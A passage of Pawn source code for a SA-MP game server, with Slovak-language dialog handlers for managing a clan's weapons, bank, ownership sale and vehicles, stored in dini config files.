                     else if(dini_Int(cway, "WeaponSlots") == 4) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3]);
                     else if(dini_Int(cway, "WeaponSlots") == 5) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4]);
                     else if(dini_Int(cway, "WeaponSlots") == 6) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5]);
                     else if(dini_Int(cway, "WeaponSlots") == 7) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5],w[6],a[6]);
                     else if(dini_Int(cway, "WeaponSlots") == 8) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5],w[6],a[6],w[7],a[7]);

                    ShowPlayerDialog(playerid,Dialog_ClanA_WList,DIALOG_STYLE_LIST,"Správa zbraní",gBIGSTRING,"OK","Cancel");
                }

                if(listitem == 4)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_ChangeClanName,DIALOG_STYLE_INPUT,"Zmena mena clanu","{ffff50}Zadaj nové meno clanu:","Zmeniť","Cancel");
                }

                if(listitem == 5)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_ChangeClanColor,DIALOG_STYLE_LIST,"Zmena farby clanu","Black\nWhite\nSilver\nYellow\nLight yellow\nGreen\nDark green\nLight green\nPurple\nPink\nBlue\nDark blue\nBrown\nCyan\nOrange","Zmeniť","Cancel");
                }

                if(listitem == 6)
                {
                    new XXXf0054[128];
                    format(XXXf0054,128, "{ffff50}Aktuálni stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", Clan[Player[playerid][ClanP]][Bank]);

                    ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrať peniaze z účtu clanu", XXXf0054,"Vybrať","Cancel");
                }

                if(listitem == 7)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_Upgrades,DIALOG_STYLE_LIST,"Upgrady","Pridať parkovacie miesto (1 000 000$)\nPridať weapon slot (250 000$)\nZmeniť interiér sidla\nUbrat parkovacie miesto\nUbrať weapon slot","OK","Cancel");
                }

                if(listitem == 8)
                {
                    if(Player[playerid][ClanID] != Player[playerid][ClanP]) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Nie si majiteľ tohto clanu !", "OK", "");
                    else
                    {
                        new clanid4f65 = Player[playerid][ClanP];
                        new cway1f09[64];
                        format(cway1f09,64, "SL/Server/Clans/Clan%d.cfg", clanid4f65);

                        GivePlayerACMoney(playerid, 750000);

                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Predal si si clan","{ffff50}Predal si si svoj clan za 750 000$ !","OK","");

                        new Name[24];
                        GetPlayerName(playerid, Name, 24);
                        new cstring7f18[128];
                        format(cstring7f18,128, "Clan %s bol zrušeny hráčom %s (%d) !", dini_Get(cway1f09, "Name"), Name, playerid);
                        SendClientMessageToAll(COLOR_YELLOW_LIGHT, cstring7f18);

                        Clan[clanid4f65][State] = 0;
                        dini_IntSet(cway1f09, "State", 0);

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[i][ClanP] == Player[playerid][ClanP])
                                    {
                                        if(i != playerid)
                                        {
                                            OnPlayerLeaveClan(i);
                                        }
                                    }
                                }
                            }
                        }

                        for(new p=0; p<dini_Int(cway1f09, "Players"); p++)
                        {
                            new P_Name[16];
                            format(P_Name,16, "P%d_Name", p);

                            new pway[32];
                            format(pway,32, "SL/%s.cfg", P_Name);

                            if(dini_Exists(pway))
                            {
                                dini_IntSet(pway, "Team", 0);
                                dini_IntSet(pway, "Clan", 9999);
                                dini_IntSet(pway, "ClanRank", 9999);
                            }
                        }

                        Clan[clanid4f65][Players] = 0;
                        dini_IntSet(cway1f09, "Players", 0);

                        Delete3DTextLabel(Clan[clanid4f65][cText3D]);

                        new c3Dstring47[150];
                         format(c3Dstring47, 150, "[ Clan ]\n%s\nVoľný Clan", dini_Get(cway1f09, "Name"));

                        Clan[clanid4f65][cText3D] = Create3DTextLabel(c3Dstring47, COLOR_PURPLE, Clan[clanid4f65][cpeX], Clan[clanid4f65][cpeY], Clan[clanid4f65][cpeZ], 50, 0);

                        OnPlayerLeaveClan(playerid);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WList)
        {
            if(response == 1)
            {
                new cway0f71[64];
                format(cway0f71,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                Player[playerid][Clan_SaveWeaponID] = listitem;

                ShowPlayerDialog(playerid,Dialog_ClanA_WInfo,DIALOG_STYLE_LIST,"Detaily zbrane","Dokupiť zásoby\nNahradiť zbraň\nZrušiť zbraň","OK","Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WInfo)
        {
            if(response == 1)
            {
                new cway0f71[64];
                format(cway0f71,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new W_id[16];
                new W_ammo[16];
                format(W_id,16, "W%d_id", Player[playerid][Clan_SaveWeaponID]);
                format(W_ammo,16, "W%d_ammo", Player[playerid][Clan_SaveWeaponID]);

                if((listitem != 1) && (dini_Int(cway0f71, W_id) == 0)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Na tomto slote nemáš zbraň !\nMusíš zbraň kupiť aby si mohol dokupovať zásoby !","Cancel","");
                else
                {
                    new trwqew[256];
                    new wprice;

                       if(dini_Int(cway0f71, W_id) == 16) wprice=2000;
                    if(dini_Int(cway0f71, W_id) == 22) wprice=1200;
                    if(dini_Int(cway0f71, W_id) == 23) wprice=1200;
                    if(dini_Int(cway0f71, W_id) == 24) wprice=2500;
                    if(dini_Int(cway0f71, W_id) == 25) wprice=1750;
                    if(dini_Int(cway0f71, W_id) == 26) wprice=2000;
                    if(dini_Int(cway0f71, W_id) == 27) wprice=2000;
                    if(dini_Int(cway0f71, W_id) == 28) wprice=1950;
                    if(dini_Int(cway0f71, W_id) == 29) wprice=2100;
                    if(dini_Int(cway0f71, W_id) == 30) wprice=2100;
                    if(dini_Int(cway0f71, W_id) == 31) wprice=2500;
                    if(dini_Int(cway0f71, W_id) == 32) wprice=1500;
                    if(dini_Int(cway0f71, W_id) == 33) wprice=2250;
                    if(dini_Int(cway0f71, W_id) == 34) wprice=15000;

                    if(listitem == 0)
                    {
                        format(trwqew,256,"{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusov: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway0f71, W_id)), dini_Int(cway0f71, W_ammo), wprice);

                        ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",trwqew,"Dokupit","Cancel");
                    }

                    if(listitem == 1)
                    {
                        ShowPlayerDialog(playerid,Dialog_ClanA_WNew,DIALOG_STYLE_LIST,"Nahradiť zbraň","9 mm\n9mm + tlmič\nDesert Eagle\nBrokovnica\nSawn - Off\nCombat Shotgun\nUZI\nSMG\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nGranát","Dokupit","Cancel");
                    }

                    if(listitem == 2)
                    {
                        dini_IntSet(cway0f71, W_id, 0);
                        dini_IntSet(cway0f71, W_ammo, 0);

                        FormatPlayerInfoBox(playerid, "~g~Clan", "Zrusil si vybranu zbran!", 2500);
                        Player[playerid][IPIP]=true;
                        SetTimerEx("IsPlayerInPickupFalse", 3000, 0, "i", playerid);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WNew)
        {
            if(response == 1)
            {
                new cway9f700[64];
                format(cway9f700,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new W_id4[16];
                new W_ammo4[16];
                format(W_id4,16, "W%d_id", Player[playerid][Clan_SaveWeaponID]);
                format(W_ammo4,16, "W%d_ammo", Player[playerid][Clan_SaveWeaponID]);

                new wid;

                if(listitem == 0) wid = 22;
                if(listitem == 1) wid = 23;
                if(listitem == 2) wid = 24;
                if(listitem == 3) wid = 25;
                if(listitem == 4) wid = 26;
                if(listitem == 5) wid = 27;
                if(listitem == 6) wid = 28;
                if(listitem == 7) wid = 29;
                if(listitem == 8) wid = 30;
                if(listitem == 9) wid = 31;
                if(listitem == 10) wid = 32;
                if(listitem == 11) wid = 33;
                if(listitem == 12) wid = 34;
                if(listitem == 13) wid = 16;

                new steqw[128];
                format(steqw,128, "~w~Nahradil si staru zbran ~y~%s~w~ novou zbranou ~y~%s~w~", WeaponName(dini_Int(cway9f700, W_id4)), WeaponName(wid));

                FormatPlayerInfoBox(playerid, "~g~Clan", steqw, 2500);
                Player[playerid][IPIP]=true;
                SetTimerEx("IsPlayerInPickupFalse", 3000, 0, "i", playerid);

                dini_IntSet(cway9f700, W_id4, wid);
                dini_IntSet(cway9f700, W_ammo4, 10);
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WPlus)
        {
            if(response == 1)
            {
                new cway9f711[64];
                format(cway9f711,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new W_id3[16];
                new W_ammo3[16];
                format(W_id3,16, "W%d_id", Player[playerid][Clan_SaveWeaponID]);
                format(W_ammo3,16, "W%d_ammo", Player[playerid][Clan_SaveWeaponID]);

                new howmuch = strval(inputtext);

                new wprice;
                if(dini_Int(cway9f711, W_id3) == 16) wprice=2000;
                if(dini_Int(cway9f711, W_id3) == 22) wprice=1200;
                if(dini_Int(cway9f711, W_id3) == 23) wprice=1200;
                if(dini_Int(cway9f711, W_id3) == 24) wprice=2500;
                if(dini_Int(cway9f711, W_id3) == 25) wprice=1750;
                if(dini_Int(cway9f711, W_id3) == 26) wprice=2000;
                if(dini_Int(cway9f711, W_id3) == 27) wprice=2000;
                if(dini_Int(cway9f711, W_id3) == 28) wprice=1950;
                if(dini_Int(cway9f711, W_id3) == 29) wprice=2100;
                if(dini_Int(cway9f711, W_id3) == 30) wprice=2100;
                if(dini_Int(cway9f711, W_id3) == 31) wprice=2500;
                if(dini_Int(cway9f711, W_id3) == 32) wprice=1500;
                if(dini_Int(cway9f711, W_id3) == 33) wprice=2250;
                if(dini_Int(cway9f711, W_id3) == 34) wprice=15000;

                new price = (wprice * howmuch);

                new vcxtrew[256];

                if(!strlen(inputtext))
                {
                    format(vcxtrew,256,"{ff0000}Nezadal si počet kusov !\n\n{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusov: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3), wprice);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",vcxtrew,"Dokupit","Cancel");
                }
                else if(howmuch <= 0)
                {
                    format(vcxtrew,256,"{ff0000}Nemôžeš zadať nulu alebo zápornu hodnotu !\n\n{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusov: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3), wprice);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",vcxtrew,"Dokupiť","Cancel");
                }
                else if(price > Clan[Player[playerid][ClanP]][Bank])
                {
                    format(vcxtrew,256,"{ff0000}V clanu nie je dostatok peňazi !\n\n{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusů: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3), wprice);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",vcxtrew,"Dokupit","Cancel");
                }
                else
                {
                    new oldammo = dini_Int(cway9f711, W_ammo3);
                    new newammo = (oldammo + howmuch);

                    dini_IntSet(cway9f711, W_ammo3, newammo);

                    Clan[Player[playerid][ClanP]][Bank] -= price;

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3Dstring[150];
                    format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway9f711, "Name"), dini_Get(cway9f711, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                    format(vcxtrew,256, "{00bb00}Úspešne si si dokupil %d kusov zbrani %s za %d$.\nAktuálny stav: %s - %d kusov", howmuch, WeaponName(dini_Int(cway9f711, W_id3)), price, WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3));
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "Info Box", vcxtrew, "OK", "");
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_Vehicles)
        {
            if(response == 1)
            {
                new cway9f971[64];
                format(cway9f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                Player[playerid][Clan_SaveVehSeries] = listitem;

                new V_id[16];
                format(V_id,16, "V%d_id", listitem);

                new strew[64];
                if(dini_Int(cway9f971, V_id) == 0) strew="{606060}- empty -";
                else format(strew, 32, "{ffffff}%s", VehicleName[dini_Int(cway9f971, V_id) - 400]);

                ShowPlayerDialog(playerid,Dialog_ClanA_VehMenu,DIALOG_STYLE_LIST,strew,"Kupiť nové vozidlo\nPrefarbiť vozidlo\nPozicia vozidla\nRespawn vozidla\nPredať vozidlo","OK","Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_VehColors)
        {
            if(response == 1)
            {
                new cway9f971[64];
                format(cway9f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new V_color1[16];
                format(V_color1,16, "V%d_color1", Player[playerid][Clan_SaveVehSeries]);
                new V_color2[16];
                format(V_color2,16, "V%d_color2", Player[playerid][Clan_SaveVehSeries]);

                if(listitem == 0) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],0,0); dini_IntSet(cway9f971,V_color1,0); dini_IntSet(cway9f971,V_color2,0); }
                if(listitem == 1) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],1,1); dini_IntSet(cway9f971,V_color1,1); dini_IntSet(cway9f971,V_color2,1); }
                if(listitem == 2) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],2,2); dini_IntSet(cway9f971,V_color1,2); dini_IntSet(cway9f971,V_color2,2); }
                if(listitem == 3) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],3,3); dini_IntSet(cway9f971,V_color1,3); dini_IntSet(cway9f971,V_color2,3); }
                if(listitem == 4) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],8,8); dini_IntSet(cway9f971,V_color1,8); dini_IntSet(cway9f971,V_color2,8); }
                if(listitem == 5) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],6,6); dini_IntSet(cway9f971,V_color1,6); dini_IntSet(cway9f971,V_color2,6); }
                if(listitem == 6) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],126,126); dini_IntSet(cway9f971,V_color1,126); dini_IntSet(cway9f971,V_color2,126); }
                if(listitem == 7) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],86,86); dini_IntSet(cway9f971,V_color1,86); dini_IntSet(cway9f971,V_color2,86); }

                SendClientMessage(playerid, COLOR_WHITE, "Prefarbil si si vybrané clan vozidlo !");

                Player[playerid][IPIP]=false;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_NewVehList)
        {
            if(response == 1)
            {
                new modelid;
                new cStringXf44[128];

                if(listitem == 0)  modelid = 405;
                if(listitem == 1)  modelid = 411;
                if(listitem == 2)  modelid = 415;
                if(listitem == 3)  modelid = 418;
                if(listitem == 4)  modelid = 419;
                if(listitem == 5)  modelid = 444;
                if(listitem == 6)  modelid = 451;
                if(listitem == 7)  modelid = 470;
                if(listitem == 8)  modelid = 489;
                if(listitem == 9)  modelid = 490;
                if(listitem == 10) modelid = 492;
                if(listitem == 11) modelid = 494;
                if(listitem == 12) modelid = 495;
                if(listitem == 13) modelid = 506;
                if(listitem == 14) modelid = 516;
                if(listitem == 15) modelid = 521;
                if(listitem == 16) modelid = 522;
                if(listitem == 17) modelid = 533;
                if(listitem == 18) modelid = 535;
                if(listitem == 19) modelid = 536;
                if(listitem == 20) modelid = 541;
                if(listitem == 21) modelid = 550;
                if(listitem == 22) modelid = 551;
                if(listitem == 23) modelid = 555;
                if(listitem == 24) modelid = 558;
                if(listitem == 25) modelid = 559;
                if(listitem == 26) modelid = 560;
                if(listitem == 27) modelid = 562;
                if(listitem == 28) modelid = 565;
                if(listitem == 29) modelid = 579;
                if(listitem == 30) modelid = 581;
                if(listitem == 31) modelid = 587;
                if(listitem == 32) modelid = 602;
                if(listitem == 33) modelid = 603;

                Player[playerid][Clan_SaveVehicleID] = modelid;

                format(cStringXf44,128,"{ffffff}Meno: {ffff50}%s\n{ffffff}Cena: {ffff50}%d$", VehicleName[modelid - 400], GetClanVehiclePrice(modelid));

                ShowPlayerDialog(playerid,Dialog_ClanA_NewVehInfo,DIALOG_STYLE_MSGBOX, VehicleName[modelid - 400], cStringXf44, "Kupit", "Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_NewVehInfo)
        {
            if(response == 1)
            {
                if(Clan[Player[playerid][ClanP]][Bank] < GetClanVehiclePrice(Player[playerid][Clan_SaveVehicleID])) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}V clanu nie je dostatok peňazi !","Cancel","");
                else
                {
                    new cway4f971[64];
                    format(cway4f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                    new V_id[16];
                    format(V_id,16, "V%d_id", Player[playerid][Clan_SaveVehSeries]);
                    new V_color1[16];
                    format(V_color1,16, "V%d_color1", Player[playerid][Clan_SaveVehSeries]);
                    new V_color2[16];
                    format(V_color2,16, "V%d_color2", Player[playerid][Clan_SaveVehSeries]);

                    new rancolor1 = random(126);
                    new rancolor2 = random(126);

                    dini_IntSet(cway4f971, V_id, Player[playerid][Clan_SaveVehicleID]);
                    dini_IntSet(cway4f971, V_color1, rancolor1);
                    dini_IntSet(cway4f971, V_color2, rancolor2);

                    ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]] = CreateVehicle(Player[playerid][Clan_SaveVehicleID], CV_x[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], CV_y[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], CV_z[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], CV_a[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], rancolor1, rancolor2, 300);

                    Clan[Player[playerid][ClanP]][Bank] -= GetClanVehiclePrice(Player[playerid][Clan_SaveVehicleID]);

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);
                   
                    ClanVehicle_State[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]]=true;

                    new c3Dstring[150];
                    format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway4f971, "Name"), dini_Get(cway4f971, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ffff50}Kupil si si nové vozidlo do clanu !","OK","");
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_VehMenu)
        {
            if(response == 1)
            {
                new cway9f971[64];
                format(cway9f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new V_id[16];
                format(V_id,16, "V%d_id", Player[playerid][Clan_SaveVehSeries]);

                new type = Player[playerid][Clan_SaveVehSeries];
                new clan = Player[playerid][ClanP];
                new vehicleid = ClanVehicle[type][clan];

                if(listitem == 0)
                {
                    if(dini_Int(cway9f971, V_id) != 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Najprv musíš predať staré vozidlo na tomto slote !","Cancel","");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_NewVehList,DIALOG_STYLE_LIST,"{ffff50}Kupiť nové vozidlo","Sentinel\nInfernus\nCheetah\nMoonbeam\nEsperanto\nMonster\nTurismo\nPatriot\nRancher\nFBI Rancher\nGreenwood\nHotring\nSandking\nSuper GT\nNebula\nFCR - 900\nNRG - 500\nFeltzer\nSlamvan\nBlade\nBullet\nSunrise\nMerit\nWindsor\nUranus\nJester\nSultan\nElegy\nFlash\nHuntley\nBF - 400\nEuros\nAlpha\nPhoenix","OK","Cancel");
                }

                if(listitem == 1)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_VehColors,DIALOG_STYLE_LIST,"Prefarbenie vozidla (1000$)","Black\nWhite\nBlue\nRed\nSilver\nYellow\nPink\nGreen","OK","Cancel");
                }

                if(listitem == 2)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        new Float:vX, Float:vY, Float:vZ;
                        GetVehiclePos(vehicleid,vX,vY,vZ);

                        SetPlayerCameraPos(playerid,vX,vY,vZ+100);
                        SetPlayerCameraLookAt(playerid,vX,vY,vZ);
                        TogglePlayerControllable(playerid,0);
                       
                        SavePlayerLastStats(playerid);
                        SetPlayerPos(playerid, vX, vY, -40);

                        new GMtext[64];
                        new GameZone[MAX_ZONE_NAME];
                        GetVehicle2DZone(vehicleid, GameZone, MAX_ZONE_NAME);

                        format(GMtext,64,"~n~~n~~n~~n~~n~~w~Vehicle Position~n~~g~%s",GameZone);
                        GameTextForPlayer(playerid,GMtext,3000,5);

                        Player[playerid][IPIP]=true;
                        SetTimerEx("PlayerCameraBack",5000,0,"i",playerid);
                        SetTimerEx("LoadPlayerLastStats",5000,0,"i",playerid);
                        SetTimerEx("IsPlayerInPickupFalse",6000,0,"i",playerid);
                    }
                }

                if(listitem == 3)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        Player[playerid][IPIP]=true;
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Respawn vozidla","{ffff50}Respawnul si clan vozidlo,\nvozidlo je opeť pri sídle clanu.","OK","Cancel");

                        CV_x2[type][clan] = CV_x[type][clan];
                        CV_y2[type][clan] = CV_y[type][clan];
                        CV_z2[type][clan] = CV_z[type][clan];
                        CV_a2[type][clan] = CV_a[type][clan];

                        SetVehicleToRespawn(vehicleid);
                        SetVehicleVirtualWorld(vehicleid, 0);
                    }
                }

                if(listitem == 4)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        DestroyVehicleEx(vehicleid);
                       
                        ClanVehicle_State[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]]=false;

                        new str_00[128];
                        new v_sell_a[16];
                        format(v_sell_a,16, "V%d_sell", type);

                        format(str_00,128,"Predal si clan vozidlo za %d$ !", (GetClanVehiclePrice(dini_Int(cway9f971, V_id)) / 4 * 3));
                        SendClientMessage(playerid, COLOR_RED, str_00);

                        GivePlayerACMoney(playerid, (GetClanVehiclePrice(dini_Int(cway9f971, V_id)) / 4 * 3));

                        if(ClanVehicleNeons[type][clan] == true)
                        {
                            DestroyObject(ClanVehicleNeon1[type][clan]);
                            DestroyObject(ClanVehicleNeon2[type][clan]);
                            ClanVehicleNeons[type][clan]=false;
                        }

                        new v_id[16];
                        format(v_id,16,"V%d_id", type);
                        dini_IntSet(cway9f971,v_id,0);

                        new v_name[16];
                        format(v_name,16,"V%d_name", type);
                        dini_Set   (cway9f971,v_name,"-none-");

                        new v_sell[16];
                        format(v_sell,16,"V%d_sell", type);
                        dini_IntSet(cway9f971,v_sell,0);

                        new v_neons[16];
                        format(v_neons,16,"V%d_neons", type);
                        dini_IntSet(cway9f971,v_neons,0);

                        new v_wheels[16];
                        format(v_wheels,16,"V%d_wheels", type);
                        dini_IntSet(cway9f971,v_wheels,0);

                        new v_spoiler[16];
                        format(v_spoiler,16,"V%d_spoiler", type);
                        dini_IntSet(cway9f971,v_spoiler,0);

                        new v_pn[16];
                        format(v_pn,16,"V%d_pn", type);
                        dini_IntSet(cway9f971,v_pn,0);
                       
                        new v_pj[16];
                        format(v_pj,16,"V%d_pj", type);
                        dini_IntSet(cway9f971,v_pj,9999);

                        new v_snL[16];
                        format(v_snL,16,"V%d_snL", type);
                        dini_IntSet(cway9f971,v_snL,0);

                        new v_snR[16];
                        format(v_snR,16,"V%d_snR", type);
                        dini_IntSet(cway9f971,v_snR,0);

                        new v_zn[16];
                        format(v_zn,16,"V%d_zn", type);
                        dini_IntSet(cway9f971,v_zn,0);

                        new v_exhaust[16];
                        format(v_exhaust,16,"V%d_exhaust", type);
                        dini_IntSet(cway9f971,v_exhaust,0);

                        new v_nitro[16];
                        format(v_nitro,16,"V%d_nitro", type);
                        dini_IntSet(cway9f971,v_nitro,0);

                        new v_hyd[16];
                        format(v_hyd,16,"V%d_hyd", type);
                        dini_IntSet(cway9f971,v_hyd,0);

                        new v_roof[16];
                        format(v_roof,16,"V%d_roof", type);
                        dini_IntSet(cway9f971,v_roof,0);

                        new v_color1[16];
                        format(v_color1,16,"V%d_color1", type);
                        dini_IntSet(cway9f971,v_color1,0);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2", type);
                        dini_IntSet(cway9f971,v_color2,0);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_P_Majitel1)
        {
            if(response == 1)
            {
                new cway9f99[64];
                format(cway9f99,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

